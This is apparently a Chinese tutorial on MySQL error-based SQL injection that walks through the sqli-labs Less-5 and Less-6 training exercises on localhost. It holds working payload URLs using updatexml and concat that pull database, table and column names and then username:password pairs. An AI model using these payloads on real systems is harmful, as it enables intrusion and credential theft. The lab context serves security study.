天天看點

報錯注入及Sqli-labs Less 5 & Less6

報錯注入原理

在mysql中使用一些特定函數來制造報錯,背景沒有屏蔽資料庫報錯資訊,進而從報錯資訊中擷取設定的資訊。

• 常用的爆錯函數 updatexml(),extractvalue(),floor() ,exp()

• 基于函數報錯的資訊擷取(select/insert/update/delete)

• updatexml()函數是 MYSQL 對 XML 文檔資料進行查詢和修改的 XPATH 函數;

• extractvalue()函數也是 MYSQL 對 XML 文檔資料進行查詢的 XPATH 函數;

mysql 5.1.5版本中添加了對XML文檔進行修改的連個函數:extractvalue、updatexml

concat函數

concat函數能夠連接配接字元串,concat還能夠連接配接sql語句同時該語句會被執行

報錯注入及Sqli-labs Less 5 & Less6

extractvalue函數

SELECT ExtractValue(’

’, ‘/a/b’); 就是尋找前一段xml文檔中内容a節點下的b節點,這裡如果XPath格式文法書寫錯誤,就會報錯。這裡就是利用這個特性以及concat函數的拼接功能來獲得我們想要知道的内容。

報錯注入及Sqli-labs Less 5 & Less6

updatexml函數

與上同理

http://127.0.0.1/sqli-labs/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

updatexml函數突破Less-5

擷取庫名

報錯注入及Sqli-labs Less 5 & Less6

擷取表名

http://127.0.0.1/sqli-labs/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=‘security’ ),0x7e),1)–+
報錯注入及Sqli-labs Less 5 & Less6

擷取字段名

http://127.0.0.1/sqli-labs/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),1)–+
報錯注入及Sqli-labs Less 5 & Less6

擷取資料

http://127.0.0.1/sqli-labs/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from security.users),0x7e),1)–+
報錯注入及Sqli-labs Less 5 & Less6

Less-6

與Less-5同理,由于數值型,将對應單引号改為雙引号即可

報錯注入及Sqli-labs Less 5 & Less6